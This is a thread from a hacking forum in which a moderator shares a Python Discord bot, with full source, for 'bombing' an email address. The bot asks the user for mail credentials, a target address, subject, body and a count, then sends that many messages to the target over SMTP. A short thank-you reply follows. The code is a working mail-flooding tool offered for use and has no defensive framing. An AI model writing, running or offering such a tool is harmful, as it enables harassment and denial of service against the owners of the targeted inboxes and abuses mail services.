THT DUYURU


Python ENG It is the most used language in Artificial Intelligence and the necessary document sharing areas are shared here.

Seçenekler

🌈 Bomb Mails via Discord! | Python

ZiksthemW - ait Kullanıcı Resmi (Avatar)
Stajyer Moderatör
Üyelik tarihi:
03/2020
Nereden:
Oslo
Mesajlar:
1.407
Konular:
42
Teşekkür (Etti):
138
Teşekkür (Aldı):
347
Ticaret:
(0) %
1
286
bir Hafta önce
#1
That's a simple script that allows you to Bomb Mails via Discord. I wrote this code and it's %100 ZiksthemW verified. Like my other codes, I didn't added the 'wrong password' thing, if you input all the fields right, it will bomb the mail. Soon I will add sending attachments from Discord too.

That's my first bot with Discord.py, it may have some bugs. If you find one, please let me know.

GITHUB

Kod:
import discord, yagmail
from discord.ext.commands import Bot

mailBot = Bot("z!")
icerik = ["Mail Address", "Mail Password", "Mail Receiver", "Mail Subject", "Mail Content", "Spam Number"]

def mailYolla(mailAdres, mailParola, mailAlici, mailKonu, mailIcerik, mailSayi, sayi):
 sayi = 0
 mail = yagmail.SMTP(mailAdres, mailParola)
 while sayi != int(mailSayi):
 mail.send(
 to = mailAlici,
 subject = mailKonu,
 contents = mailIcerik
 )
 print(int(mailSayi))
 sayi += 1

@mailBot.event
async def on_ready():
 print(f"Logged in as {mailBot.user.name}.")
 await mailBot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=f"{mailBot.command_prefix}mailspam"))

@mailBot.command(name="mailspam")
async def _command(ctx):
 sayi = 0
 def kontrol(m):
 return m.author.id == ctx.author.id
 for i in icerik:
 embed=discord.Embed(title=" ", description=f"To send spam, you need to input `{i}` data.\nPlease input `{i}`.")
 embed.set_author(name="MailSpam", icon_url="https://pbs.twimg.com/profile_images/1276328314488213505/U8ofd8Zu_400x400.jpg")
 embed.set_footer(text=f"{i} - ZiksthemW")
 await ctx.send(embed=embed)
 icerik[sayi] = await mailBot.wait_for("message", check=kontrol)
 sayi += 1
 await ctx.send("``Sending the mails..``")
 mailYolla(icerik[0].content, icerik[1].content, icerik[2].content, icerik[3].content, icerik[4].content, icerik[5].content, sayi)

mailBot.run('TOKEN')
Sheldon, Ariss Teşekkür etti.
Ariss - ait Kullanıcı Resmi (Avatar)
Kategori Moderatörü
Üyelik tarihi:
03/2016
Mesajlar:
4.668
Konular:
192
Ticaret:
(0) %
bir Hafta önce
#2
thanks for sharing
---------------------
nothing

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler